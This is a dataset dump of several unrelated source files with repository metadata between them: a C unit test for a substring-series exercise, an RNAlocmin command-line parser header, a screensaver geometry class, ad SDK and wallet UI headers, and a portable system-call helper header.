#include <stdlib.h> #include "vendor/unity.h" #include "../src/series.h" // helper routines to validate test results static void testSolution(SeriesResults_t * expectedSolution, SeriesResults_t * actualSolution) { // result count correct TEST_ASSERT_EQUAL(expectedSolution->substringCount, actualSolution->substringCount); // test each substring... for (unsigned int index = 0; index < expectedSolution->substringCount; index++) { TEST_ASSERT_EQUAL_STRING(expectedSolution->substring[index], actualSolution->substring[index]); free(actualSolution->substring[index]); } if (actualSolution->substringCount) { free(actualSolution->substring); } } #define EXPAND_SERIES_TEST_CASES_AS_TEST(test_name, inputText, substringLength, expectedResultCount, expectedResultSubstrings)\ void test_name(void)\ {\ char *substrings[] = expectedResultSubstrings;\ SeriesResults_t expected = {expectedResultCount, &substrings[0]};\ SeriesResults_t actual = series(inputText, substringLength);\ testSolution(&expected, &actual);\ }\ #define ASSEMBLE_STRING_ARRAY(...) __VA_ARGS__ // Test cases #define SERIES_TEST_CASES(ENTRY) \ ENTRY(test_slices_of_one, "01234", 1, 5, { ASSEMBLE_STRING_ARRAY("0","1","2","3","4") })\ ENTRY(test_slices_of_two, "97867564", 2, 7, { ASSEMBLE_STRING_ARRAY("97","78","86","67","75","56", "64") })\ ENTRY(test_slices_of_three, "97867564", 3, 6, { ASSEMBLE_STRING_ARRAY("978","786","867","675","756","564") })\ ENTRY(test_slices_of_four, "01234", 4, 2, { ASSEMBLE_STRING_ARRAY("0123","1234") })\ ENTRY(test_slices_of_five, "01234", 5, 1, { ASSEMBLE_STRING_ARRAY("01234") })\ ENTRY(test_overly_long_slice, "012", 4, 0, { ASSEMBLE_STRING_ARRAY("") })\ ENTRY(test_overly_short_slice, "01234", 0, 0, { ASSEMBLE_STRING_ARRAY("") })\ SERIES_TEST_CASES(EXPAND_SERIES_TEST_CASES_AS_TEST) int main(void) { UnityBegin("test/test_word_count.c"); RUN_TEST(test_slices_of_one); RUN_TEST(test_slices_of_two); RUN_TEST(test_slices_of_three); RUN_TEST(test_slices_of_four); RUN_TEST(test_slices_of_five); RUN_TEST(test_overly_long_slice); RUN_TEST(test_overly_short_slice); UnityEnd(); return 0; }
35.875
127
0.699477
773c7d1cd8cf548eb9823a6c645397fd2a61718c
229
h
C
monet/monet/ApplicationClasses/Wallet/View/FFAccountManCell.h
MonetChain-Project/MonetBlockchain_IOS
9e361b75cd3f928fda5fb236756a2dbb7c59cc53
[ "MIT" ]
2
2018-05-21T01:40:09.000Z
2019-03-22T05:47:51.000Z
monet/monet/ApplicationClasses/Wallet/View/FFAccountManCell.h
MonetChain-Project/MonetBlockchain_IOS
9e361b75cd3f928fda5fb236756a2dbb7c59cc53
[ "MIT" ]
null
null
null
monet/monet/ApplicationClasses/Wallet/View/FFAccountManCell.h
MonetChain-Project/MonetBlockchain_IOS
9e361b75cd3f928fda5fb236756a2dbb7c59cc53
[ "MIT" ]
null
null
null
// // FFAccountManCell.h // MonetBlockchain // // Created by Rain on 17/9/11. // Copyright © 2017年 MonetBlockchain Foundation All rights reserved. #import <UIKit/UIKit.h> @interface FFAccountManCell : UITableViewCell @end
17.615385
69
0.733624
8986411d7f2b9aa58d08834c5cfc5e107cab6220
22,880
h
C
ViennaRNA-2.4.18-Latest/src/RNAlocmin/RNAlocmin_cmdline.h
ayaanhossain/ViennaRNA
1b1047d9a3abadc65eb13715cfdc59ec7d69dc29
[ "MIT" ]
5
2022-02-28T05:21:46.000Z
2022-03-17T10:38:28.000Z
ViennaRNA-2.4.18-Latest/src/RNAlocmin/RNAlocmin_cmdline.h
ayaanhossain/ViennaRNA
1b1047d9a3abadc65eb13715cfdc59ec7d69dc29
[ "MIT" ]
2
2021-09-27T12:24:42.000Z
2021-12-02T10:02:31.000Z
ViennaRNA-2.4.18-Latest/src/RNAlocmin/RNAlocmin_cmdline.h
ayaanhossain/ViennaRNA
1b1047d9a3abadc65eb13715cfdc59ec7d69dc29
[ "MIT" ]
1
2022-02-28T08:44:16.000Z
2022-02-28T08:44:16.000Z
/** @file RNAlocmin_cmdline.h * @brief The header file for the command line option parser * generated by GNU Gengetopt version 2.23 * http://www.gnu.org/software/gengetopt. * DO NOT modify this file, since it can be overwritten * @author GNU Gengetopt */ #ifndef RNALOCMIN_CMDLINE_H #define RNALOCMIN_CMDLINE_H /* If we use autoconf. */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include <stdio.h> /* for FILE */ #ifdef __cplusplus extern "C" { #endif /* __cplusplus */ #ifndef CMDLINE_PARSER_PACKAGE /** @brief the program name (used for printing errors) */ #define CMDLINE_PARSER_PACKAGE "RNAlocmin" #endif #ifndef CMDLINE_PARSER_PACKAGE_NAME /** @brief the complete program name (used for help and version) */ #define CMDLINE_PARSER_PACKAGE_NAME "RNAlocmin" #endif #ifndef CMDLINE_PARSER_VERSION /** @brief the program version */ #define CMDLINE_PARSER_VERSION "2.1" #endif /** @brief Where the command line options are stored */ struct gengetopt_args_info { const char *help_help; /**< @brief Print help and exit help description. */ const char *detailed_help_help; /**< @brief Print help, including all details and hidden options, and exit help description. */ const char *full_help_help; /**< @brief Print help, including hidden options, and exit help description. */ const char *version_help; /**< @brief Print version and exit help description. */ char * seq_arg; /**< @brief Sequence file in FASTA format. If the sequence is the first line of the input file, this is not needed (default='seq.txt'). */ char * seq_orig; /**< @brief Sequence file in FASTA format. If the sequence is the first line of the input file, this is not needed original value given at command line. */ const char *seq_help; /**< @brief Sequence file in FASTA format. If the sequence is the first line of the input file, this is not needed help description. */ char * previous_arg; /**< @brief Previously found LM (output from RNAlocmin or barriers), if specified does not need --seq option. */ char * previous_orig; /**< @brief Previously found LM (output from RNAlocmin or barriers), if specified does not need --seq option original value given at command line. */ const char *previous_help; /**< @brief Previously found LM (output from RNAlocmin or barriers), if specified does not need --seq option help description. */ char * move_arg; /**< @brief Move set: I ==> insertion & deletion of base pairs S ==> I&D& switch of base pairs (default='I'). */ char * move_orig; /**< @brief Move set: I ==> insertion & deletion of base pairs S ==> I&D& switch of base pairs original value given at command line. */ const char *move_help; /**< @brief Move set: I ==> insertion & deletion of base pairs S ==> I&D& switch of base pairs help description. */ int min_num_arg; /**< @brief Maximal number of local minima returned (0 == unlimited) (default='100000'). */ char * min_num_orig; /**< @brief Maximal number of local minima returned (0 == unlimited) original value given at command line. */ const char *min_num_help; /**< @brief Maximal number of local minima returned (0 == unlimited) help description. */ int find_num_arg; /**< @brief Maximal number of local minima found (default = unlimited - crawl through whole input file). */ char * find_num_orig; /**< @brief Maximal number of local minima found (default = unlimited - crawl through whole input file) original value given at command line. */ const char *find_num_help; /**< @brief Maximal number of local minima found (default = unlimited - crawl through whole input file) help description. */ int verbose_lvl_arg; /**< @brief Level of verbosity (0 = nothing, 4 = full) WARNING: higher verbose levels increase the computation time (default='0'). */ char * verbose_lvl_orig; /**< @brief Level of verbosity (0 = nothing, 4 = full) WARNING: higher verbose levels increase the computation time original value given at command line. */ const char *verbose_lvl_help; /**< @brief Level of verbosity (0 = nothing, 4 = full) WARNING: higher verbose levels increase the computation time help description. */ int depth_arg; /**< @brief Depth of findpath search (higher value increases running time linearly) (default='10'). */ char * depth_orig; /**< @brief Depth of findpath search (higher value increases running time linearly) original value given at command line. */ const char *depth_help; /**< @brief Depth of findpath search (higher value increases running time linearly) help description. */ double minh_arg; /**< @brief Print only minima with energy barrier greater than this (default='0.0'). */ char * minh_orig; /**< @brief Print only minima with energy barrier greater than this original value given at command line. */ const char *minh_help; /**< @brief Print only minima with energy barrier greater than this help description. */ int minh_lite_flag; /**< @brief When flooding with --minh option, search for only saddle (do not search for a LM that is lower). Increases efficiency a tiny bit, but when turned on, the results may omit some non-shallow minima, especially with higher --minh value. (default=off). */ const char *minh_lite_help; /**< @brief When flooding with --minh option, search for only saddle (do not search for a LM that is lower). Increases efficiency a tiny bit, but when turned on, the results may omit some non-shallow minima, especially with higher --minh value. help description. */ char * walk_arg; /**< @brief Walking method used D ==> gradient descent F ==> use first found lower energy structure R ==> use random lower energy structure (does not work with --noLP and -m S options) (default='D'). */ char * walk_orig; /**< @brief Walking method used D ==> gradient descent F ==> use first found lower energy structure R ==> use random lower energy structure (does not work with --noLP and -m S options) original value given at command line. */ const char *walk_help; /**< @brief Walking method used D ==> gradient descent F ==> use first found lower energy structure R ==> use random lower energy structure (does not work with --noLP and -m S options) help description. */ int noLP_flag; /**< @brief Work only with canonical RNA structures (w/o isolated base pairs, cannot be combined with ranodm walk (-w R option) and shift move set (-m S)) (default=off). */ const char *noLP_help; /**< @brief Work only with canonical RNA structures (w/o isolated base pairs, cannot be combined with ranodm walk (-w R option) and shift move set (-m S)) help description. */ int useEOS_flag; /**< @brief Use energy_of_structure_pt calculation instead of energy_of_move (slower, it should not affect results) (default=off). */ const char *useEOS_help; /**< @brief Use energy_of_structure_pt calculation instead of energy_of_move (slower, it should not affect results) help description. */ char * paramFile_arg; /**< @brief Read energy parameters from paramfile, instead of using the default parameter set. */ char * paramFile_orig; /**< @brief Read energy parameters from paramfile, instead of using the default parameter set original value given at command line. */ const char *paramFile_help; /**< @brief Read energy parameters from paramfile, instead of using the default parameter set help description. */ int dangles_arg; /**< @brief How to treat \"dangling end\" energies for bases adjacent to helices in free ends and multi-loops (default='2'). */ char * dangles_orig; /**< @brief How to treat \"dangling end\" energies for bases adjacent to helices in free ends and multi-loops original value given at command line. */ const char *dangles_help; /**< @brief How to treat \"dangling end\" energies for bases adjacent to helices in free ends and multi-loops help description. */ char * fix_barriers_arg; /**< @brief Fix barrier file for interior loops (just recompute if all LM in barrier output are LM), if specified, does not need neither --previous nor --seq option. */ char * fix_barriers_orig; /**< @brief Fix barrier file for interior loops (just recompute if all LM in barrier output are LM), if specified, does not need neither --previous nor --seq option original value given at command line. */ const char *fix_barriers_help; /**< @brief Fix barrier file for interior loops (just recompute if all LM in barrier output are LM), if specified, does not need neither --previous nor --seq option help description. */ int pseudoknots_flag; /**< @brief Allow for pseudoknots according to \"gfold\" model - H, K, L, and M types (genus one) of pseudoknots are allowed (increases computation time greatly), cannot be combined with shift move set (-m S) (default=off). */ const char *pseudoknots_help; /**< @brief Allow for pseudoknots according to \"gfold\" model - H, K, L, and M types (genus one) of pseudoknots are allowed (increases computation time greatly), cannot be combined with shift move set (-m S) help description. */ int just_read_flag; /**< @brief Do not expect input from stdin, just do postprocessing. (default=off). */ const char *just_read_help; /**< @brief Do not expect input from stdin, just do postprocessing. help description. */ int neighborhood_flag; /**< @brief Use the Neighborhood routines to perform gradient descend. Cannot be combined with shift move set (-m S) and pseudoknots (-k). Test option. (default=off). */ const char *neighborhood_help; /**< @brief Use the Neighborhood routines to perform gradient descend. Cannot be combined with shift move set (-m S) and pseudoknots (-k). Test option. help description. */ int degeneracy_off_flag; /**< @brief Do not deal with degeneracy, select the lexicographically first from the same energy neighbors. (default=off). */ const char *degeneracy_off_help; /**< @brief Do not deal with degeneracy, select the lexicographically first from the same energy neighbors. help description. */ int just_output_flag; /**< @brief Do not store the minima and optimize, just compute directly minima and output them. Output file can contain duplicates. (default=off). */ const char *just_output_help; /**< @brief Do not store the minima and optimize, just compute directly minima and output them. Output file can contain duplicates. help description. */ int bartree_flag; /**< @brief Generate an approximate barrier tree. (default=off). */ const char *bartree_help; /**< @brief Generate an approximate barrier tree. help description. */ char * barr_name_arg; /**< @brief Name of barrier tree output file, switches on -b flag. (default='treeRNAloc.ps'). */ char * barr_name_orig; /**< @brief Name of barrier tree output file, switches on -b flag. original value given at command line. */ const char *barr_name_help; /**< @brief Name of barrier tree output file, switches on -b flag. help description. */ char * barrier_file_arg; /**< @brief File for saddle heights between LM (simulates the output format of barriers program). */ char * barrier_file_orig; /**< @brief File for saddle heights between LM (simulates the output format of barriers program) original value given at command line. */ const char *barrier_file_help; /**< @brief File for saddle heights between LM (simulates the output format of barriers program) help description. */ int rates_flag; /**< @brief Create rates for treekin (default=off). */ const char *rates_help; /**< @brief Create rates for treekin help description. */ char * rates_file_arg; /**< @brief File where to write rates, switches on -r flag (default='rates.out'). */ char * rates_file_orig; /**< @brief File where to write rates, switches on -r flag original value given at command line. */ const char *rates_file_help; /**< @brief File where to write rates, switches on -r flag help description. */ double temp_arg; /**< @brief Temperature in Celsius (only for rates) (default='37.0'). */ char * temp_orig; /**< @brief Temperature in Celsius (only for rates) original value given at command line. */ const char *temp_help; /**< @brief Temperature in Celsius (only for rates) help description. */ double floodPortion_arg; /**< @brief Fraction of minima to flood (floods first minima with low number of inwalking sample structures) (0.0 -> no flood; 1.0 -> try to flood all) Usable only with -r or -b options. (default='0.95'). */ char * floodPortion_orig; /**< @brief Fraction of minima to flood (floods first minima with low number of inwalking sample structures) (0.0 -> no flood; 1.0 -> try to flood all) Usable only with -r or -b options. original value given at command line. */ const char *floodPortion_help; /**< @brief Fraction of minima to flood (floods first minima with low number of inwalking sample structures) (0.0 -> no flood; 1.0 -> try to flood all) Usable only with -r or -b options. help description. */ int floodMax_arg; /**< @brief Flood cap - how many structures to flood in one basin (default='1000'). */ char * floodMax_orig; /**< @brief Flood cap - how many structures to flood in one basin original value given at command line. */ const char *floodMax_help; /**< @brief Flood cap - how many structures to flood in one basin help description. */ int numIntervals_arg; /**< @brief Number of intervals for Jing's visualisation (default='0'). */ char * numIntervals_orig; /**< @brief Number of intervals for Jing's visualisation original value given at command line. */ const char *numIntervals_help; /**< @brief Number of intervals for Jing's visualisation help description. */ float eRange_arg; /**< @brief Report only LM, which energy is in range <MFE (or lowest found LM), MFE+eRange> in kcal/mol.. */ char * eRange_orig; /**< @brief Report only LM, which energy is in range <MFE (or lowest found LM), MFE+eRange> in kcal/mol. original value given at command line. */ const char *eRange_help; /**< @brief Report only LM, which energy is in range <MFE (or lowest found LM), MFE+eRange> in kcal/mol. help description. */ char * allegiance_arg; /**< @brief Filename where to output the allegiance of structures. Works properly only with RNAsubopt -e list.. */ char * allegiance_orig; /**< @brief Filename where to output the allegiance of structures. Works properly only with RNAsubopt -e list. original value given at command line. */ const char *allegiance_help; /**< @brief Filename where to output the allegiance of structures. Works properly only with RNAsubopt -e list. help description. */ unsigned int help_given ; /**< @brief Whether help was given. */ unsigned int detailed_help_given ; /**< @brief Whether detailed-help was given. */ unsigned int full_help_given ; /**< @brief Whether full-help was given. */ unsigned int version_given ; /**< @brief Whether version was given. */ unsigned int seq_given ; /**< @brief Whether seq was given. */ unsigned int previous_given ; /**< @brief Whether previous was given. */ unsigned int move_given ; /**< @brief Whether move was given. */ unsigned int min_num_given ; /**< @brief Whether min-num was given. */ unsigned int find_num_given ; /**< @brief Whether find-num was given. */ unsigned int verbose_lvl_given ; /**< @brief Whether verbose-lvl was given. */ unsigned int depth_given ; /**< @brief Whether depth was given. */ unsigned int minh_given ; /**< @brief Whether minh was given. */ unsigned int minh_lite_given ; /**< @brief Whether minh-lite was given. */ unsigned int walk_given ; /**< @brief Whether walk was given. */ unsigned int noLP_given ; /**< @brief Whether noLP was given. */ unsigned int useEOS_given ; /**< @brief Whether useEOS was given. */ unsigned int paramFile_given ; /**< @brief Whether paramFile was given. */ unsigned int dangles_given ; /**< @brief Whether dangles was given. */ unsigned int fix_barriers_given ; /**< @brief Whether fix-barriers was given. */ unsigned int pseudoknots_given ; /**< @brief Whether pseudoknots was given. */ unsigned int just_read_given ; /**< @brief Whether just-read was given. */ unsigned int neighborhood_given ; /**< @brief Whether neighborhood was given. */ unsigned int degeneracy_off_given ; /**< @brief Whether degeneracy-off was given. */ unsigned int just_output_given ; /**< @brief Whether just-output was given. */ unsigned int bartree_given ; /**< @brief Whether bartree was given. */ unsigned int barr_name_given ; /**< @brief Whether barr-name was given. */ unsigned int barrier_file_given ; /**< @brief Whether barrier-file was given. */ unsigned int rates_given ; /**< @brief Whether rates was given. */ unsigned int rates_file_given ; /**< @brief Whether rates-file was given. */ unsigned int temp_given ; /**< @brief Whether temp was given. */ unsigned int floodPortion_given ; /**< @brief Whether floodPortion was given. */ unsigned int floodMax_given ; /**< @brief Whether floodMax was given. */ unsigned int numIntervals_given ; /**< @brief Whether numIntervals was given. */ unsigned int eRange_given ; /**< @brief Whether eRange was given. */ unsigned int allegiance_given ; /**< @brief Whether allegiance was given. */ char **inputs ; /**< @brief unnamed options (options without names) */ unsigned inputs_num ; /**< @brief unnamed options number */ } ; /** @brief The additional parameters to pass to parser functions */ struct cmdline_parser_params { int override; /**< @brief whether to override possibly already present options (default 0) */ int initialize; /**< @brief whether to initialize the option structure gengetopt_args_info (default 1) */ int check_required; /**< @brief whether to check that all required options were provided (default 1) */ int check_ambiguity; /**< @brief whether to check for options already specified in the option structure gengetopt_args_info (default 0) */ int print_errors; /**< @brief whether getopt_long should print an error message for a bad option (default 1) */ } ; /** @brief the purpose string of the program */ extern const char *gengetopt_args_info_purpose; /** @brief the usage string of the program */ extern const char *gengetopt_args_info_usage; /** @brief the description string of the program */ extern const char *gengetopt_args_info_description; /** @brief all the lines making the help output */ extern const char *gengetopt_args_info_help[]; /** @brief all the lines making the full help output (including hidden options) */ extern const char *gengetopt_args_info_full_help[]; /** @brief all the lines making the detailed help output (including hidden options and details) */ extern const char *gengetopt_args_info_detailed_help[]; /** * The command line parser * @param argc the number of command line options * @param argv the command line options * @param args_info the structure where option information will be stored * @return 0 if everything went fine, NON 0 if an error took place */ int cmdline_parser (int argc, char **argv, struct gengetopt_args_info *args_info); /** * The command line parser (version with additional parameters - deprecated) * @param argc the number of command line options * @param argv the command line options * @param args_info the structure where option information will be stored * @param override whether to override possibly already present options * @param initialize whether to initialize the option structure my_args_info * @param check_required whether to check that all required options were provided * @return 0 if everything went fine, NON 0 if an error took place * @deprecated use cmdline_parser_ext() instead */ int cmdline_parser2 (int argc, char **argv, struct gengetopt_args_info *args_info, int override, int initialize, int check_required); /** * The command line parser (version with additional parameters) * @param argc the number of command line options * @param argv the command line options * @param args_info the structure where option information will be stored * @param params additional parameters for the parser * @return 0 if everything went fine, NON 0 if an error took place */ int cmdline_parser_ext (int argc, char **argv, struct gengetopt_args_info *args_info, struct cmdline_parser_params *params); /** * Save the contents of the option struct into an already open FILE stream. * @param outfile the stream where to dump options * @param args_info the option struct to dump * @return 0 if everything went fine, NON 0 if an error took place */ int cmdline_parser_dump(FILE *outfile, struct gengetopt_args_info *args_info); /** * Save the contents of the option struct into a (text) file. * This file can be read by the config file parser (if generated by gengetopt) * @param filename the file where to save * @param args_info the option struct to save * @return 0 if everything went fine, NON 0 if an error took place */ int cmdline_parser_file_save(const char *filename, struct gengetopt_args_info *args_info); /** * Print the help */ void cmdline_parser_print_help(void); /** * Print the full help (including hidden options) */ void cmdline_parser_print_full_help(void); /** * Print the detailed help (including hidden options and details) */ void cmdline_parser_print_detailed_help(void); /** * Print the version */ void cmdline_parser_print_version(void); /** * Initializes all the fields a cmdline_parser_params structure * to their default values * @param params the structure to initialize */ void cmdline_parser_params_init(struct cmdline_parser_params *params); /** * Allocates dynamically a cmdline_parser_params structure and initializes * all its fields to their default values * @return the created and initialized cmdline_parser_params structure */ struct cmdline_parser_params *cmdline_parser_params_create(void); /** * Initializes the passed gengetopt_args_info structure's fields * (also set default values for options that have a default) * @param args_info the structure to initialize */ void cmdline_parser_init (struct gengetopt_args_info *args_info); /** * Deallocates the string fields of the gengetopt_args_info structure * (but does not deallocate the structure itself) * @param args_info the structure to deallocate */ void cmdline_parser_free (struct gengetopt_args_info *args_info); /** * Checks that all the required options were specified * @param args_info the structure to check * @param prog_name the name of the program that will be used to print * possible errors * @return */ int cmdline_parser_required (struct gengetopt_args_info *args_info, const char *prog_name); extern const char *cmdline_parser_move_values[]; /**< @brief Possible values for move. */ extern const char *cmdline_parser_walk_values[]; /**< @brief Possible values for walk. */ #ifdef __cplusplus } #endif /* __cplusplus */ #endif /* RNALOCMIN_CMDLINE_H */
67.492625
296
0.730988
816a1de80535ce6c7faaf1929e2fafde796cf127
2,210
h
C
rssavers-0.2/include/Microcosm/TriangleOfSpheres.h
NickPepper/MacScreensavers
088625b06b123adcb61c7e9e1adc4415dda66a59
[ "MIT" ]
3
2017-08-13T14:47:57.000Z
2020-03-02T06:48:29.000Z
rssavers-0.2/include/Microcosm/TriangleOfSpheres.h
NickPepper/MacScreensavers
088625b06b123adcb61c7e9e1adc4415dda66a59
[ "MIT" ]
1
2018-09-19T14:14:54.000Z
2018-09-26T22:35:03.000Z
rssavers-0.2/include/Microcosm/TriangleOfSpheres.h
NickPepper/MacScreensavers
088625b06b123adcb61c7e9e1adc4415dda66a59
[ "MIT" ]
1
2018-09-19T14:13:55.000Z
2018-09-19T14:13:55.000Z
/* * Copyright (C) 2010 Terence M. Welsh * * This file is part of Microcosm. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published * by the Free Software Foundation; either version 2 of the License, * or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #ifndef TRIANGLE_OF_SPHERES_H #define TRIANGLE_OF_SPHERES_H #include <Microcosm/Gizmo.h> #include <Implicit/impSphere.h> class TriangleOfSpheres : public Gizmo{ public: TriangleOfSpheres(unsigned int num){ mMaxDisplacement = 0.5f; unsigned int n = num >= 1 ? num : 1; // at least 1 for(unsigned int i=0; i<n; ++i){ impSphere* sphere = new impSphere; sphere->setThickness(0.06f); mShapes.push_back(sphere); } } ~TriangleOfSpheres(){} void setScale(float s){ mScale = s; // Must set thickness because impSphere ignores the scale portion of // its matrix for efficiency. for(unsigned int i=0; i<mShapes.size(); ++i) mShapes[i]->setThickness(0.2f * mScale); } void update(float frametime){ updateConstants(frametime); updateMatrix(); rsMatrix m; float x(0.0f); const float dx(RS_PIx2 / float(mShapes.size())); for(unsigned int i=0; i<mShapes.size(); ++i){ m.makeTranslate(0.28f * cosf(mCoeffPhase[8]), 0.0f, 0.0f); m.rotate((mCoeffPhase[9] * 4.0f + x) * -3.0f, 0.0f, 0.0f, 1.0f); m.translate(0.28f * cosf(mCoeffPhase[8] + RS_PIo2), 0.0f, 0.0f); m.rotate(mCoeffPhase[9] * 4.0f + x, 0.0f, 0.0f, 1.0f); m.postMult(mMatrix); //mShapes[i]->setMatrix(m.get()); // Why doesn't this work? mShapes[i]->setPosition(&((m.get())[12])); x += dx; } } }; #endif
28.701299
77
0.658371
5466a94987a1fc7663170f3e84d57017cca5cb4d
550
h
C
src/nestBox.h
Brenocq/Honeybee-Simulation
ff2af91ef3c313e72e56542702f28fb7fd285168
[ "MIT" ]
null
null
null
src/nestBox.h
Brenocq/Honeybee-Simulation
ff2af91ef3c313e72e56542702f28fb7fd285168
[ "MIT" ]
null
null
null
src/nestBox.h
Brenocq/Honeybee-Simulation
ff2af91ef3c313e72e56542702f28fb7fd285168
[ "MIT" ]
1
2020-04-23T22:13:40.000Z
2020-04-23T22:13:40.000Z
#ifndef NEXT_BOX_H #define NEXT_BOX_H #ifdef __APPLE__ #include <GLUT/glut.h> #else #include <GL/glut.h> #endif #include <stdlib.h> #include "defines.h" class NestBox { public: NestBox(); NestBox(float x, float y, float goodness); ~NestBox(); __host__ __device__ float getGoodness(float random) const; __host__ __device__ void getPosition(float *x, float *y, float *size); float getRealGoodness() const { return _goodness; } void draw(); private: float _x; float _y; float _size; float _goodness; }; #endif// NEXT_BOX_H
17.1875
72
0.709091
32a153c4433da283214efcdd48e7788aa67e8008
415
h
C
TradPlusAdSDK/TradPlusAds.framework/Headers/MSVASTCreative.h
tradplus/pod_tradplus_sdk
366b1bc6bdabe536d9893ecd1d0bd9f1fd748c62
[ "MIT" ]
null
null
null
TradPlusAdSDK/TradPlusAds.framework/Headers/MSVASTCreative.h
tradplus/pod_tradplus_sdk
366b1bc6bdabe536d9893ecd1d0bd9f1fd748c62
[ "MIT" ]
1
2022-02-21T07:40:41.000Z
2022-03-10T13:45:24.000Z
TradPlusAdSDK/TradPlusAds.framework/Headers/MSVASTCreative.h
tradplus/pod_tradplus_sdk
366b1bc6bdabe536d9893ecd1d0bd9f1fd748c62
[ "MIT" ]
null
null
null
#import <Foundation/Foundation.h> #import "MSVASTModel.h" @class MSVASTLinearAd; @interface MSVASTCreative : MSVASTModel @property (nonatomic, copy, readonly) NSString *identifier; @property (nonatomic, copy, readonly) NSString *sequence; @property (nonatomic, copy, readonly) NSString *adID; @property (nonatomic, readonly) MSVASTLinearAd *linearAd; @property (nonatomic, readonly) NSArray *companionAds; @end
27.666667
59
0.783133
118f786a591095ac55a368c3392c28bfe18d0c93
3,214
h
C
3rdparty/unistd/portable/SystemCall.h
dna2fork/darknet
85820fcf951fe021b2d3fa293633fe4c5957dbd7
[ "MIT" ]
168
2017-11-25T21:19:11.000Z
2022-03-28T15:41:46.000Z
3rdparty/unistd/portable/SystemCall.h
dna2fork/darknet
85820fcf951fe021b2d3fa293633fe4c5957dbd7
[ "MIT" ]
64
2018-08-31T11:13:22.000Z
2022-02-05T07:03:01.000Z
3rdparty/unistd/portable/SystemCall.h
dna2fork/darknet
85820fcf951fe021b2d3fa293633fe4c5957dbd7
[ "MIT" ]
31
2018-07-22T08:57:33.000Z
2022-01-11T15:44:07.000Z
// SystemCall.h // Libunist Copyright 2016 Robin.Rowe@CinePaint.org // License open source MIT #ifndef SystemCall_h #define SystemCall_h #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <algorithm> namespace portable { inline void OpenConsole() { #ifdef _WIN32 AllocConsole(); #pragma warning(disable: 4996) freopen("CONOUT$", "w", stdout); #pragma warning(default: 4996) #endif } class PrintTask { public: PrintTask(const char* functionName,const char* description = "") { if(!functionName || !description) { return; } #ifdef TRACE_TASKS static unsigned i; i++; printf("Thread(%u): %s() %s\n",i,functionName,description); #endif } }; [[ noreturn ]] inline void StubExit(int errorlevel,const char* msg,const char* file,const char* function,int line) { printf("exit(%i): %s %s\n%s:%i",errorlevel,msg,function,file,line); exit(errorlevel); } [[ noreturn ]] inline void StubAssert(int errorlevel,const char* msg,const char* file,const char* function,int line) { printf("assert(%s): %s\n%s:%i",msg,function,file,line); exit(errorlevel); } inline int SystemCall(const char* cmd) { (void)cmd; #ifdef TRACE_SYSTEM_CALLS static int i; printf("[%i] system(%s)\n",++i,cmd); #endif #ifdef _WIN32 return 1; #else return system(cmd); #endif } template <typename T> bool memcopy(T& dest,const char* start,unsigned size) { const auto p=dest.data(); if(dest.size()*sizeof(*p) < size*sizeof(char) ) { return false; } memcpy(dest.data(),start,size); return true; } template <typename T> bool std_cpy(const char* start,const char* end,T& dest) { const unsigned size = (end-start)*sizeof(char); const auto p=dest.data(); if(dest.size()*sizeof(*p) < size*sizeof(char) ) { return false; } memcpy(dest.data(),start,size); return true; } enum class OS {unknown_os,android_os,linux_os,ios_os,mac_os,windows_os}; inline OS OperatingSystem() { #if defined(__ANDROID__) return OS::android_os; #elif defined(__gnu_linux__) || defined(__linux__) return OS::linux_os; #elif defined(__APPLE__) && defined(__MACH__) #if defined(TARGET_OS_IPHONE) return OS::ios_os; #else return OS::mac_os; #endif #elif defined(_WIN16) || defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(__TOS_WIN__) || defined(__WINDOWS__) || defined(WIN32) return OS::windows_os; #else return OS::unknown_os; #endif } } //portable #define SystemExit(errorlevel) portable::StubExit(errorlevel,"Exit ",__FILE__, __FUNCTION__, __LINE__) #define SystemAssert(expression) (void)( (!!(expression)) || portable::StubAssert(-1,#expression,__FILE__, __FUNCTION__, __LINE__) ) #ifdef _WIN32 #define ANSI_RED #define ANSI_GRN #define ANSI_YEL #define ANSI_BLU #define ANSI_MAG #define ANSI_CYN #define ANSI_WHT #define ANSI_CLR #else #define ANSI_RED "\x1B[31m" #define ANSI_GRN "\x1B[32m" #define ANSI_YEL "\x1B[33m" #define ANSI_BLU "\x1B[34m" #define ANSI_MAG "\x1B[35m" #define ANSI_CYN "\x1B[36m" #define ANSI_WHT "\x1B[37m" #define ANSI_CLR "\x1B[0m" #endif // printf(ANSI_RED "red" ANSI_CLR); #endif
22.475524
148
0.678283
11d0dafd52a5919017d3fa011c1712cbffbb46ab
19,357
h
C
ASEProcessing.framework/ASEProcessing.h
reels-research/iOS-Private-Frameworks
9a4f4534939310a51fdbf5a439dd22487efb0f01
[ "MIT" ]
4
2021-10-06T12:15:26.000Z
2022-02-21T02:26:00.000Z
ASEProcessing.framework/ASEProcessing.h
reels-research/iOS-Private-Frameworks
9a4f4534939310a51fdbf5a439dd22487efb0f01
[ "MIT" ]
null
null
null
ASEProcessing.framework/ASEProcessing.h
reels-research/iOS-Private-Frameworks
9a4f4534939310a51fdbf5a439dd22487efb0f01
[ "MIT" ]
1
2021-10-08T07:40:53.000Z
2021-10-08T07:40:53.000Z
